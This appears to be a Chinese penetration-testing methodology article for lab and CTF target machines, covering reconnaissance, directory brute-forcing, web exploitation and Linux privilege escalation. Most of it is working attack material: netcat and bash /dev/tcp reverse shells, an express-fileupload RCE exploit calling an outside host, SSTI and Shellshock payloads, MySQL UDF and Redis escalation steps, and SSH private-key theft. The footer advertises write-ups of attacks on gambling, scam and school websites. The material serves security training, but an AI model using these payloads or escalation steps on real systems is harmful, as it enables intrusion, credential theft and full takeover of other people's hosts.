靶机打靶思路与方法

admin 2022年7月29日13:04:57评论46 views字数 10804阅读36分0秒阅读模式

一.对靶机进行信息收集

1.首先对目标存活靶机发起嗅探:

①sudo arp-scan -l 针对网卡发起扫描存活主机

②arping扫描:for i in (seq 1 254);do arping −c 2 10.0.2.i; done

③netdiscover:sudo netdiscover -r 10.0.2.0/16

④nmap主机发现:nmap -sn 10.0.2.4/24

⑤fping侦探:fping -gaq 10.0.2.0/24

2.对目标主机开放端口及服务发起探测

①masscan快速扫描

②nmap进行扫描 (1)nmap -p- ip  (2)nmap -p22,80,.. -A ip (3)当目标主机开启防火墙时:nmap --script=firewalk --traceroute ip 详细绕过文章参考:https://blog.csdn.net/weixin_43510203/article/details/107596120

3.对非web端口的服务发起迅速的嗅探,尝试使用nday进行攻击

①kali自带的exploitdb  ②msf进行攻击嗅探 ③可以使用搜索引擎尝试搜索最新还未收录的day④对如mysql及ssh端口开放的服务可以使用hydra进行密码的爆破

4.开始进行web端口外部打点尝试

首先对目标端口开放的功能点发起测试,如登录框,弱密码,xss,爆破,sql注入等,尝试能否直接拿到shell,如果首界面得不到有效信息,开始进行路径爆破,对路径爆破得到的路径进行详细的侦测,流程及思路与测试主页面一致,将大量收集得到的信息进行整合记录,查看每一个收集得到的路径的页面源代码,如果发现有子域名未绑定,搜集得到的子域名进行绑定,再次对子域名发起攻击,包括中间件及应用,通过searchsploit搜索可以利用的版本漏洞尝试进行突破,这是外部打点最为重要的一步。

①使用feroxbuster进行路径发现:feroxbuster --url http://10.0.2.9

②使用gobuster进行路径发现:gobuster dir -u http://10.0.2.26-w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp

使用gobuster进行更加针对性的扫描:gobuster dir -r -u http://10.0.2.16/-x txt,html,php -w /usr/share/seclists/Discovery/Web-Content/common.txt

使用gobuster进行子域名的爆破:(1)gobuster vhost -u http://cereal.ctf:44441-w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt(2)gobuster vhost -u http://votenow.local/-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt | grep “Status:200”

③构建自己的参数字典进行参数爆破:123abc'"(<,;/%

④使用fuff进行双参数爆破:

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt :PARAM

-w val.txt:VAL -u http://10.0.2.26/secret/evil.php?PARAM=VAL-fs 0 -fs是为了过滤掉无效的内容

使用fuff进行模糊参数爆破:

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

-u http://10.0.2.26/secret/evil.php?FUZZ=…/index.html-fs 0

⑤使用dirsearch进行路径爆破:

(1)dirsearch -u http://10.0.2.43-f -e html,php,txt -w /usr/share/seclists/Discovery/WebContent/directory-list-2.3-small.txt

(2)dirsearch -u http://10.1.8.133-f -e html,php,txt -w /usr/share/wordilsts/dirb/common.txt

⑥利用cewl生成特定的字典

⑦利用dirb来进行路径爆破 使用dirb进备份文件检查 dirb http://cereal.ctf/blog/-x .bak,back

二.一些靶机打点的工具和知识:

1.当目标靶机nc中不存在-e参数时两种串联攻击方法:(1)nc 10.0.2.4 3333 | /bin/bash | nc 10.0.2.4 4444 (2)rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.15 3333 >/tmp/f

2.cyberchef平台上可以进行多种多样的加密与解密

3.node.js下的express-fileupload模块存在参数污染远程命令代码执行漏洞

exp:

import requests

cmd = ‘bash -c “bash -i &> /dev/tcp/p6.is/8888 0>&1”’

pollute

requests.post(‘http://p6.is:7777’, files = {‘proto.outputFunctionName’: (

None, f"x;console.log(1);process.mainModule.require(‘child_process’).exec(‘{cmd}’);x")})

execute command

requests.get(‘http://p6.is:7777’)

4.node是一个类似于java的运行环境,

利用node反弹shell,sudo node -e ‘child_process.spawn(“/bin/bash”,{stdio:[0,1,2]})’

5.bash指令受限为非交互式的shell时的详细操作(只适用于bshell):

ctrl+z 将获得的shell进程隐藏

stty raw -echo stty echo 取消不显设置 rstty时一个用来改变并打印终端行设置的常用命令。

fg 将后台的命令调到前台来 发现仍然无法正常执行,原因是因为kali

上面用的是zshell不是bshell,但是目标靶机上用的是bshell

chsh -s /bin/bash 将kali上的zshell改为bshell

ctrl+r 重启kali

echo $SHELL 得到bshell

重启后:stty raw -echo

这个地方如果出现执行后无法执行命令,输入python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

就可以得到www-data@wp:/var/www/html/wordpress$

export SHELL=/bin/bash

export TREM=screen

stty rows 38 columns 116

reset

发现已经实现了所有的功能包括补齐等等

6.不管是打靶还是在真实的渗透测试中,都需要尽可能的多获得shell,以确保自己有足够的的shell

7.xmlrpc可以远程执行命令:

import xmlrpc.client

with xmlrpc.client.ServerProxy(“http://localhost:8000/”) as proxy:

print(str(proxy.cpu()))

8.文件包含下的重点伪协议读取

(1)php:php://filter/convert.base64-encode/resource=evil.php

(2)gophor协议下的ssrf工具 git clone https://github.com/tarunkant/Gopherus.git

9.当可以任意读取目标靶机文件时,利用访问公私钥免于账号密码登录

默认存放位置:公钥 /home/kali/.ssh/authorized_keys 私钥 /home/kali/id_rsa

将拷贝下来的私钥赋予600权限 chmod 600 id_rsa

如果私钥也被加密:

./ssh2john.py ~/id_rsa > ~/hash 进行转化

john hash --wordlist=rockyou.txt 破解得到了密码文

10.有时候如果没有tcp传输的端口,可以怀疑udp53端口作为同一个域之间传输数据的方式,扫描udp53端口 sudo nmap -p53 -sU 10.0.2.15

11.在hosts更改绑定后发现主机记录没有改变时,可以使用dns区域访问,axfr区域传输后会返回域名下的所有记录,dig axfr @10.0.2.28 blackhat.local发现存在axfr漏洞,发现存在新域名,均绑定到hosts里面

12.模板注入通杀代码:{{1+abcxyz}}${1+1bcxyz}%3C%1+abcxyz%%3E[acbxyz]${77},{{77}}

利用模板注入漏洞进行反弹

{% import os %}{{os.system(‘bash -c “bash -i >& /dev/tcp/10.0.2.7/4444 0>&1”’)}}

如果被过滤掉可以对编码进行混淆绕过

%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2

Ftcp%2F10.0.2.15%2F4444%2000%3E%261%22%27%29%7D%7D

13.对网站指纹进行探测:whatweb

14.对页面403做403页面绕过

①旁站绕过403:将主机名进行替换

②覆盖URL进行绕过:

GET / HTTP/1.1

X-Original-URL: /auth/login

或者X-Rewrite-URL

X-Oringinating-IP:127.0.0.1 X-Forwarded-For:127.0.0.1 X-Remote-IP:127.0.0.1

③通过referer头部修改

ReFerer:http://xxx/auth/login

15.john进行密码爆破

首先将文件保存成hash值zip2john a.zip >hash

将wordlists里的Rockyou字典解压保存到桌面

john hash --wordlists=rockyou.txt得到密码ragnarok123

16.使用steghide工具进行探测隐写数,steghide info king 使用binwalk进行二进制的分析,binwalk -B king

17.rpyc远程管理进行提权 添加sudo权限的exp

import rpyc

def shell():

import os

os.system(“sudo usermod -a -G sudo ragnar”)

conn = rpyc.classic.connect(“localhost”)

fn=conn.teleport(shell)

fn()

23.利用破壳漏洞进行打点

(1)查看所有的后缀名为cgi,sh的文件,使用破壳漏洞尝试控制系统

dirsearch -u http://10.0.2.36/cgi-bin/-f -e cgi,sh

发现带有这些后缀名的文件返回状态码500

(2)使用nmap进行破壳漏洞进行扫描

nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 10.0.2.16

nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 10.0.2.16

发现均存在破壳漏洞

(3)使用curl工具进行参数的注入

curl -H “user-agent: () { :; }, echo; echo; /bin/bash -c ‘which nc’” http://10.0.2.16/cgi-bin/shell.sh

curl -H “user-agent: () { :; }, echo; echo; /bin/bash -c ‘nc -e /bin/bash 10.0.2.15 4444’” http://10.0.2.16/cgi-bin/shell.sh

本机开启侦听端口,发现连接成功突破外部拿下shell

24.StegSeek高效的密码爆破工具

stegseek --crack doubletrouble.jpg rockyou.txt 破解密码成功

再加上-xf参数得到文件fil

25.当存在火狐存储的账号密码时,可以使用firefox_decrypt-master工具进行破解得到账号密码

26.fernet,是一种python下的加密算法,解密代码如下:

from cryptography.fernet import Fernet

key = b’…’

f = Fernet(key)

token =b’…’

f.decrypt(token)

27.WebDAV服务漏洞利用工具DAVTest:

davtest -url http://10.1.8.133/webdav-auth yamdoot:Swarg

上传反弹shell的php文件 /usr/share/webshells/php/php-reverse-shell.php

davtest -url http://10.1.8.133/webdav-auth yamdoot:Swarg -uploadfile php-reverse-shell.php

-uploadloc rev.php

28.wkhtmltppdf组件,可以将html代码转换成pdf,该组件下存在exp可以远程执行文件,在原来xss的地方尝试读取文件

29.enum4linux是Kali Linux自带的一款信息收集工具。它可以收集Windows系统的大量信息,如用户名列表、主机列表、共享列表、密码策略信息、工作组和成员信息、主机信息、打印机信息等等。该工具主要是针对Windows NT/2000/XP/2003,但在Windows 7/10系统,部分功能受限

30.rbash绕过:

ssh -i id_rsa [email protected] -t “bash --noprofile”

sudo mysql -u tom -p

! Bash

31.针对139及445端口的smb服务发起攻击,使用smbclient工具

smbclient -L \191.268.182.147

smbclient -L \191.268.182.147\ITDEPT

三.进行linux下的提权

1.首先使用 uname -a lsb_release -a对目标靶机进行版本机内核信息收集,使用exploitdb内的内核版本漏洞尝试能否直接提权

两个需要特别注意的内核漏洞:(1)脏牛内核漏洞:漏洞范围:linux kernel 4.8.3, 4.7.9, 4.4.2>Linux内核 >= 2.6.22(2)CVE-2021-3493:影响版本Ubuntu 20.10 Ubuntu 20.04 LTS Ubuntu 18.04 LTS Ubuntu 16.04 LTS Ubuntu 14.04 ESM

还可以使用linux-exploit-suggester进行自动化枚举内核的提权漏洞

2.查找suid权限的文件,尝试进行权限继承或者通过该文件的内容发起进一步探索

权限继承 例:一个名为update_cloudav的文件 权限为rwsr 即存在suid权限

./update_cloudav “a | nc 10.0.2.4 5555 | /bin/bash |nc 10.0.2.4 6666”进行suid

权限继承

3.进行sudo权限检查 sudo -l 尝试利用sudo权限获得root权限例

当awk存在root权限时,使用命令进行提权

sudo awk ‘BEGIN {system(“/bin/bash”)}’

4.su提权:需要多注意自己得到过的有效密码信息,尝试看能不能直接提权

5.mysql数据库提权:

(1)输入! bash !可以直接执行系统命令,!是system函数的简写,跳出mysql直接得到root权限(

(2)udf提权:

find / -iname"mysqludf" -type f 2>/dev/null linux 的so等于windos的dll 都属于动态链接的文件

show variable like ‘%plugins%’                     将该文件传到目标靶机上去,查看mysql的插件,得到存放插件的路径为/usr/lib/mysql/plugin/ 将so文件写入到插件里面,再创建可以执行命令的函数

use mysql

create table aaa(line blob);

insert into aaa values(load_file(‘/tmp/udf.so’));

select * from aaa into dumpfile /usr/lib/mysql/plugin/

create function sys_exec returns integer soname ‘udf.so’;

select sys_exec(‘id > /tmp/out.txt’);

查看目录里面发现执行成功,开始写入反弹shell的内容

select sysy_exex(‘nc 10.0.2.15 4444 -e /bin/bash’);

6.检查/etc/passwd是否具有可写权限,可以尝试将账号密码直接写入得到root权限,openssl passwd -1 -1指的是一种加密算法,将加密后的密码写入passw中的root账号

7.利用capabilities进行提权:例:

capabilities是一个权限管理功能,设置权限赋予

setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap

首先进行查询指令 /sbin/getcap getcap -r / 2>/dev/null

发现一个python2.7的程序拥有capabilities权限

ps -U root 查看所有以root账号运行的进程 或者 ps -aef | grep root

下载利用权限利用的python进程注入脚本wget

python2.7 inject.py 862 默认侦听端口为5600

8.检测系统内账号目录或者敏感目录下有没有定时任务,可以使用pspy工具监视操作系统进程的创建活动,查看是否有定时任务执行或者可以定时执行带root权限的脚本,尝试将反弹语句写入到脚本中

9.利用linux自带的命令进行漏洞提权 详细查询网站:https://gtfobins.github.io/

Sudo提权漏洞CVE-2021-3156 Sudo 1.8.2-31p2,Sudo 1.9.0-5p1 影响的Linux版本:Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 Debian 10.0

10.利用motd(message of the day)进行提权,motd是一个访问运行脚本的目录,尝试对找到的进程进行注入echo ‘root:123’ | chpasswd

11.利用redis进行提权:

cd .ssh

.ssh$ nc -nvlp 4444 > authorized_keys

ssh-keygen -t rsa

cd .ssh

nc 10.1.8.138 4444< id_rsa.pub -w 1

ssh登录账号成功

redis-cli -a 密码登录成功

/.ssh$ (echo -e “nn”; cat authorized_keys;echo -e “nn”) > pub.txt

cat pub.txt | redis-cli -a 密码 -x set ssh_key

再次登录 config set dir /root/.ssh

config set dbfilename “authorized_keys”

Save

12.读取root账号的公私钥进行提权:

去读取root账号的公私钥

tarS -cvf k.tar /root/.ssh/id_rsa

tar -xvf k.tar

ssh -i id_rsa root@localhost -p 2082

13.rpyc远程管理进行提权 添加sudo权限的exp

import rpyc

def shell():

import os

os.system(“sudo usermod -a -G sudo ragnar”)

conn = rpyc.classic.connect(“localhost”)

fn=conn.teleport(shell)

fn()

四.总结

在打靶过程中一定需要注意信息收集的仔细,细节之处有时就包括有没有ls -la查看到某个隐藏的文件,或者路径爆破是不是少了某个关键的路径,建议使用高质量的字典来进行扫描,要善于使用nday进行打点,突破边界之后的提权也需要仔细的信息收集,查看一些敏感的账号目录与命令操作历史,不能放过每一个细节

本文作者:kyrieew, 转载请注明来自FreeBuf.COM

———————

【2022HW系列】|10-一次某次攻防演练种的分析溯源

【2022HVV系列】|9-红蓝对抗-红队打点的那些事

【2022HVV系列】|8-应急响应之入侵排查

【2022HVV系列】|7-Windows主机入侵痕迹排查办法

【2022HVV系列】|6-记一次hw中的上线骚姿势(异速联+用友U8)

【2022HVV系列】|5-记一次溯源过程

【2022HVV系列】|4-红蓝对抗 | 红队打点的那些事

【2022HVV系列】|3-服务器入侵排查

【2022HVV系列】| 2-应急响应常用工具

【2022HVV系列】| 1-应急响应方法论思维导图


————————————————


【Hacking黑白红】,一线渗透攻防实战交流公众号

靶机打靶思路与方法

回复“电子书”获取web渗透、CTF电子书:

回复“视频教程”获取渗透测试视频教程;  

回复“内网书籍”获取内网学习书籍;        

回复“CTF工具”获取渗透、CTF全套工具;

回复“内网渗透;获取内网渗透资料;

回复护网;获取护网学习资料 ;

回复python,获取python视频教程;

回复java,获取Java视频教程;

回复go,获取go视频教程


知识星球



【Hacking藏经阁】知识星球致力于分享技术认知

1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;

400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)

2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。


如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。






靶机打靶思路与方法


欢迎加入99米/年,平均每天2毛7分钱,学习网络安全一整年。


靶机打靶思路与方法





渗透实战系列


【渗透实战系列】|46-渗透测试:从Web到内网

【渗透实战系列】|45-记一次渗透实战-代码审计到getshell

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

【渗透实战系列】|43-某次通用型漏洞挖掘思路分享

【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战

【渗透实战系列】|41-记一次色*情app渗透测试

【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)

▶【渗透实战系列】|39-BC渗透的常见切入点(总结)

【渗透实战系列】|38-对某色情直播渗透

【渗透实战系列】|37-6年级小学生把学校的网站给搞了!

【渗透实战系列】|36-一次bc推广渗透实战

【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透

【渗透实战系列】|34-如何用渗透思路分析网贷诈骗链

【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP

【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站

【渗透实战系列】|31-记一次对学校的渗透测试

【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)

【渗透实战系列】|29-实战|对某勒索APP的Getshell

【渗透实战系列】|28-我是如何拿下BC站的服务器

【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)

【渗透实战系列】|26一记某cms审计过程(步骤详细)

【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程

【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法

【渗透实战系列】|23-某菠菜网站渗透实战

【渗透实战系列】|22-渗透系列之打击彩票站

【渗透实战系列】|21一次理财杀猪盘渗透测试案例

【渗透实战系列】|20-渗透直播网站

【渗透实战系列】|19-杀猪盘渗透测试

【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)

【渗透实战系列】|17-巧用fofa对目标网站进行getshell

【渗透实战系列】|16-裸聊APP渗透测试

【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点

【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试

【渗透实战系列】|13-waf绕过拿下赌博网站

【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局

【渗透实战系列】|11 - 赌博站人人得而诛之

【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)

【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)

【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)

【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例

【渗透实战系列】|6- BC杀猪盘渗透一条龙

【渗透实战系列】|5-记一次内衣网站渗透测试

【渗透实战系列】|4-看我如何拿下BC站的服务器

【渗透实战系列】|3-一次简单的渗透

【渗透实战系列】|2-记一次后门爆破到提权实战案例

【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

靶机打靶思路与方法

    

长按-识别-关注

靶机打靶思路与方法

Hacking黑白红

一个专注信息安全技术的学习平台

靶机打靶思路与方法

点分享

靶机打靶思路与方法

点收藏

靶机打靶思路与方法

点点赞

靶机打靶思路与方法

点在看


原文始发于微信公众号(Hacking黑白红):靶机打靶思路与方法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月29日13:04:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶机打靶思路与方法http://cn-sec.com/archives/1208268.html

发表评论

匿名网友 填写信息